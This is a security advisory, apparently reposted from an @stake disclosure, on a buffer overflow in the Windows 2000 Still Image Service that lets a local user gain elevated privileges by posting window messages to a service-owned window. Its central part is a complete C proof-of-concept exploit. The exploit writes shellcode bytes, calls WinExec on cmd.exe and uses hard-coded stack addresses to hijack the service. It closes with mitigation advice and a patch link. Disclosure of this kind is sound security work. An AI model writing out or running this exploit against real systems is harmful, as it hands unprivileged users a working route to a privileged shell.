COMMAND

    Still Image Service

SYSTEMS AFFECTED

    Windows 2000

PROBLEM

    Following is based on a  @stake Security Advisory by DilDog.   The
    Still Image  Service contains  programming errors  that uncover  a
    class  of  attacks   on  services.    This  vulnerability   allows
    unauthorized local privilege elevation.

    The Still Image Service that comes with Windows 2000 is vulnerable
    to a particular class of attack that stems from the Windows  GDI's
    poor  notion  of  GDI  object  permissions.   In  this  particular
    instance,  a  service  creates  a  window  on the logged-on user's
    desktop  that  responds  to  a  number  of  WM_USER  messages  via
    PostMessage().   The  window  procedure  resides  in  the  service
    process,  and  can  hence  be  controlled  to  some  extent by the
    logged-on user.  There exists  a buffer overflow condition in  one
    of the WM_USER messages.

    Way back when,  the GDI in  Windows NT 3.5  was not yet  placed in
    the kernel, and no one  worried about permissions on GDI  objects.
    When the GDI was moved into the kernel, a number of system objects
    were created to support permissions on GDI objects, such as window
    stations  and  desktops.    One  particular   case  where   better
    permissions  on  GDI  objects  could  be  used is on windows.  The
    window object supports several operations, notably  'PostMessage',
    'SendMessage', and  others.   GDI window  handles are  not process
    specific, and they can easily  be obtained for any window  created
    on the logged-on user's desktop via 'FindWindow'.

    Once  a  handle  to  a  window  is obtained, two operations are of
    interest.   'SendMessage'  calls  the  window procedure associated
    with the window directly (in most cases note: that WM_COPYDATA  is
    an  exception  to  this),  and  hence  it  can  only  be called by
    processes that actually have the window procedure mapped in  their
    process  space.   The  'PostMessage'  function  pushes the message
    into  the  window  procedure's  message  queue for processing at a
    later point.  This allows cross-process communication with  window
    messages.  Even to processes of higher privilege level.

    Because no distinction is made between which messages can 'posted'
    versus which can be 'sent', for windows messages above  'WM_USER',
    one can never  define a windows  message that contains  a pointer,
    regardless of how it is intended to be handled.

    This vulnerability exists in the Windows Still Image Service,  but
    the problem  is more  universal, and  may affect  any or all other
    services  that  create  windows  on  the  logged-on user's desktop
    (visible, or invisible).

    The proof-of-concept code follows:

    #include <windows.h>
    
    #define EXPSIZE (520+1024)
    //#define STACKTOP (0x0070FF58)	// for StiSvc version 5.0.2134.1 in Win2K
    //#define BUFFERLOC (0x0070FCB0)
    #define STACKTOP (0x0071FF58)	// for StiSvc version 5.0.2134.1 in Win2K SP1
    #define BUFFERLOC (0x0071FCB0)
    
    int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nShow)
    {
	    char funky[EXPSIZE];
	    memset(funky,0x90,EXPSIZE);
	    funky[EXPSIZE-2]=(char)0;
	    funky[EXPSIZE-1]=(char)0;
    
	    // Write code
    
	    HMODULE hKernel=GetModuleHandle("kernel32.dll");
    
    //	funky[0x0]=(char)0xCC;
    
	    funky[0x4]=(char)0x81;
	    funky[0x5]=(char)0xC4;
	    funky[0x6]=(char)0x04;
	    funky[0x7]=(char)0xFC;
	    funky[0x8]=(char)0xFF;
	    funky[0x9]=(char)0xFF;
    
	    funky[0x10]=(char)0xB8;
	    *(DWORD *)(&(funky[0x11]))=~(DWORD)GetProcAddress(hKernel,"WinExec");
    
	    funky[0x15]=(char)0xF7;
 	    funky[0x16]=(char)0xD0;
    
	    funky[0x17]=(char)0x6A;
	    funky[0x18]=(char)0x03;
    
	    funky[0x19]=(char)0xBB;
	    *(DWORD *)(&(funky[0x1A]))=~(DWORD)(BUFFERLOC+0x30);
    
	    funky[0x1E]=(char)0xF7;
	    funky[0x1F]=(char)0xD3;
    
	    funky[0x20]=(char)0x53;
    
	    funky[0x21]=(char)0xFF;
	    funky[0x22]=(char)0xD0;
    
	    funky[0x23]=(char)0xB8;
	    *(DWORD *)(&(funky[0x24]))=~(DWORD)GetProcAddress(hKernel,"ExitProcess");
    
	    funky[0x28]=(char)0xF7;
	    funky[0x29]=(char)0xD0;
    
	    funky[0x2A]=(char)0xFF;
	    funky[0x2B]=(char)0xD0;
    
	    funky[0x2C]=(char)0xCC;
	    funky[0x2D]=(char)0xCC;
	    funky[0x2E]=(char)0xCC;
	    funky[0x2F]=(char)0xCC;
    
	    // Set string to execute
	    memcpy(&(funky[0x30]),"cmd.exe ",8);
    
	    // Set return addr
	    *(DWORD *)(&(funky[0x208]))=BUFFERLOC;
    
	    // Get NetDDE Window
	    HWND hwnd=FindWindow("STIExe_Window_Class","STI Monitor");
    
	    // Copy exploit code
	    COPYDATASTRUCT cds;
	    cds.cbData=sizeof(funky);
	    cds.dwData=0;
	    cds.lpData=(PVOID)funky;
    
	    SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);
    
	    PostMessage(hwnd,0x4CD,0,(LPARAM)(STACKTOP-EXPSIZE));
    
	    return 0;
    }

SOLUTION

    Disable the  Still Image  Service entirely.   Normally, the  Still
    Image Service is not running,  but if one runs 'stimon.exe'  as an
    administrator,  or  attempts  to  install  or  access  a  local or
    network scanner, digital camera, or other still image device,  the
    service will  install itself  in 'Automatic'  mode and  be present
    every time the system boots thereafter.

    Microsoft has developed a patch to solve this problem:

        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24200